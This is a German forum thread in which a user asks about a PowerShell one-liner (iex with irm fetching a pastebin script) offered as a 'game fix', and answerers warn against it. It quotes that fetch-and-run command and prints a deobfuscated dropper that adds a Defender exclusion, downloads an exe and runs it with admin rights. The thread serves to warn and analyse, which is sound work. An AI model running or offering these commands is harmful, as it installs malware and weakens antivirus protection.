Was ist das iex (irm 'https://pastebin.pl/view/raw/940cb634')?
Jemand sagt mir er kann mein game fixen wenn ich das in Powershell mache was ist das
2 Antworten
irm ist der Alias für Invoke-RestMethod. In diesem Fall lädt dieses Cmdlet ein Powershellscipt von Pastebin. und führt es aus.
Das dortige Script ist enthält mehrfach verschlüsselten und komprimierten Code.
nach dessen Auflösung bleibt folgendes (Schad?)Script:
$url = "https://cdn.discordapp.com/attachments/...aus Sicherheitsgründen entfernt..."
$desktopPath = [System.Environment]::GetFolderPath('Desktop')
$outputPath = [System.IO.Path]::Combine($desktopPath, "spoofer.exe")
if ($desktopPath -ne $null -and $desktopPath -ne '') {
Add-MpPreference -ExclusionPath $desktopPath
Write-Host "Computer Supported."
} else {
Write-Host "Error: Computer not supported"
}
try {
Invoke-RestMethod -Uri $url -OutFile $outputPath
Write-Host "Initialized Spoofer!"
}
catch {
Write-Host "Error Replacing Windows Corrupted Files $_"
}
Start-Process -FilePath $outputPath -Verb RunAs
Write-Host "Spoofed!"
Dies lädt eine exe-Datei (VantaSpoofer.exe) auf den Desktop, versucht eine Defender- Ausnahme für den Desktopordner und dessen Dateien einzurichten und die heruntergeladene Exe mit Adminrechten auszuführen.
Ich habe keine Ahnung was VantaSpoofer.exe tut, soweit habe ich die Sache nicht kommen lassen. Ohne abgeschalteten Defender sperrt dieser den Download sofort. ---ergo ist das Teil gefährlich
Immer wenn IEX bzw. Invoke-Exprssion im spiel ist sollte man genau wissen, was der der übergebene String bewirkt. iex führt einen String als Code aus!
So nützlich iex für einen redlichen Programmierer auch gelegentlich sein mag, in böswilligen Händen kann man damit sogar das Kochbuch von Tante Erna in eine Atombombe verwandeln 😅
Die lange Zeichenkette in der Mitte vom Code ist verschlüsselt. Der Code entschlüsselt diese Zeichenkette (sie beinhaltet weiteren Code), und führt diesen Code aus. Wahrscheinlich installiert oder löscht es etwas von deinem Rechner.
Führe nie Code in der Powershell aus, den dir jemand über's Internet geschickt hat. WENN die Person gute Intentionen hätte, würde sie keinen verschlüsselten Code schicken.
Diese Verschlüsselung wird eingesetzt, damit Antivirus-Programme den schädlichen Skript nicht finden, und beim Ausführen ist es schon zu spät.
Ich sags mal so, da hat sich jemand extrem viel mühe gegeben um einen anundfürsich relativ belanglosen Code zu tarnen. Allerdings ist die Mehrfache Verschüsselung Schwachsinn, da der Code sich ohnehin selbst entschlüsselt.
Man muss lediglich das Cmdlet IEX durch eine entschärfte Version überschreiben... und vor Ausführung den String anzeigen
function Invoke-Expression {
[cmdletbinding()]
param(
[Parameter(Mandatory,ValueFromPipeline)]
$string)
Write-Host $string -fo green
Write-Host Press Enter to Execute Code, or Press CTRL-C -fo red
Read-Host
Microsoft.PowerShell.Utility\Invoke-Expression $string
}
damit ist die Gefahr vom Tisch